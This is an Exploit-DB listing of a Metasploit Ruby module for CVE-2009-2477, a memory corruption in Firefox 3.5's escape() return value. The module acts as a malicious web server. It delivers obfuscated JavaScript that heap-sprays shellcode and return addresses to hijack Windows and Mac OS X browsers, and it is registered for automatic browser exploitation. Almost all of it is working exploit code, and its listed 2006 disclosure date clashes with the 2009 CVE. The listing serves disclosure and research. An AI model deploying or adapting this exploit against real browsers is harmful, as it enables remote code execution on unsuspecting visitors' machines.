标题: Mozilla Firefox 3.5 - 'escape()' Return Value Memory Corruption (Metasploit) EDB-ID: 16299 CVE: 2009-2477 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: firefox_escape_retval.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 #
 # This module acts as an HTTP server
 #
 include Msf::Exploit::Remote::HttpServer::HTML

 include Msf::Exploit::Remote::BrowserAutopwn
 autopwn_info({
  :ua_name => HttpClients::FF,
  :ua_minver => "3.5",
  :ua_maxver => "3.5",
  :os_name => OperatingSystems::WINDOWS,
  :javascript => true,
  :rank => NormalRanking, # reliable memory corruption
  :vuln_test => nil,
 })

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Firefox 3.5 escape() Return Value Memory Corruption',
   'Description'    => %q{
     This module exploits a memory corruption vulnerability in the Mozilla
    Firefox browser. This flaw occurs when a bug in the javascript interpreter
    fails to preserve the return value of the escape() function and results in
    uninitialized memory being used instead. This module has only been tested
    on Windows, but should work on other platforms as well with the current
    targets.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Simon Berry-Byrne <x00050876[at]itnet.ie>',  # Author / Publisher / Original exploit
     'hdm',                                        # Metasploit conversion
    ],
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     ['CVE', '2009-2477'],
     ['OSVDB', '55846'],
     ['BID', '35660'],
     ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=503286']
    ],
   'Payload'        =>
    {
     'Space'    => 1000 + (rand(256).to_i * 4),
     'BadChars' => "\x00",
    },
   'Targets'        =>
    [
     [ 'Firefox 3.5.0 on Windows XP SP0-SP3',
      {
       'Platform'   => 'win',
       'Arch'       => ARCH_X86,
       'Ret'        => 0x0c0c0c0c,
       'BlockLen'   => 0x60000,
       'Containers' => 800,
      }
     ],
     [ 'Firefox 3.5.0 on Mac OS X 10.5.7 (Intel)',
      {
       'Platform' => 'osx',
       'Arch' => ARCH_X86,
       'Ret'  => 0x41414141,
       'BlockLen' => 496,
       'Containers' => 800000
      }
     ]
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jul 14 2006'
   ))
 end


 def on_request_uri(cli, request)

  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
  send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html; charset=utf-8' })
  handler(cli)
 end

 def generate_html(payload)

  enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
  enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))
  enc_ret  = Rex::Text.to_unescape(
   Rex::Arch.endian(target.arch) == ENDIAN_LITTLE ? [target.ret].pack('V') : [target.ret].pack('N')
  )

  var_data_str1 = Rex::Text.rand_text_alpha(3)
  var_data_str2 = Rex::Text.rand_text_alpha(4)
  js = <<-EOF
var xunescape = unescape;
var shellcode = xunescape("#{enc_code}");

oneblock = xunescape("#{enc_ret}");

var fullblock = oneblock;
while (fullblock.length < #{target['BlockLen']})
{
 fullblock += fullblock;
}

var sprayContainer = new Array();
var sprayready = false;
var sprayContainerIndex = 0;

function fill_function()
{
 if(! sprayready) {
  for (xi=0; xi<#{target['Containers']}/100; xi++, sprayContainerIndex++)
  {
   sprayContainer[sprayContainerIndex] = fullblock + shellcode;
  }
 } else {
  DataTranslator();
  GenerateHTML();
 }
 if(sprayContainer.length >= #{target['Containers']}) {
  sprayready = true;
 }
}

var searchArray = new Array();

function escapeData(data)
{
 var xi;
 var xc;
 var escData='';
 for(xi=0; xi<data.length; xi++)
 {
  xc=data.charAt(xi);
  if(xc=='&' || xc=='?' || xc=='=' || xc=='%' || xc==' ') xc = escape(xc);
   escData+=xc;
 }
 return escData;
}

function DataTranslator()
{
 searchArray = new Array();
 searchArray[0] = new Array();
 searchArray[0]["#{var_data_str1}"] = "#{var_data_str2}";
 var newElement = document.getElementById("content");
 if (document.getElementsByTagName) {
  var xi=0;
  pTags = newElement.getElementsByTagName("p");
  if (pTags.length > 0)
   while (xi < pTags.length)
    {
     oTags = pTags[xi].getElementsByTagName("font");
     searchArray[xi+1] = new Array();
     if (oTags[0])   {
      searchArray[xi+1]["#{var_data_str1}"] = oTags[0].innerHTML;
     }
     xi++;
    }
 }
}

function GenerateHTML()
{
 var xhtml = "";
 for (xi=1;xi<searchArray.length;xi++)
 {
  xhtml += escapeData(searchArray[xi]["#{var_data_str1}"]);
 }
}

setInterval("fill_function()", .5);
EOF

  # Obfuscate it up a bit
  js = obfuscate_js(js, 'Symbols' => {
   'Variables' => %W{ DataTranslator GenerateHTML escapeData xunescape shellcode oneblock fullblock sprayContainer xi searchArray xc escData xhtml pTags oTags newElement sprayready sprayContainerIndex fill_function }
  }).to_s

  str1 = Rex::Text.rand_text_alpha(20)
  str2 = Rex::Text.rand_text_alpha(24)
  str3 = Rex::Text.rand_text_alpha(10) + "  "

  return %Q^
<html>
<head>
<div id="content">
<p>
<FONT>
</FONT>
</p>
<p>
<FONT>#{str1}</FONT></p>
<p>
<FONT>#{str2}</FONT>
</p>
<p>
<FONT>#{str3}</FONT>
</p>
</div>
<script language="JavaScript">
#{js}
</script>
</body>
</html>
^

 end

end URL: https://www.exploit-db.com/exploits/16299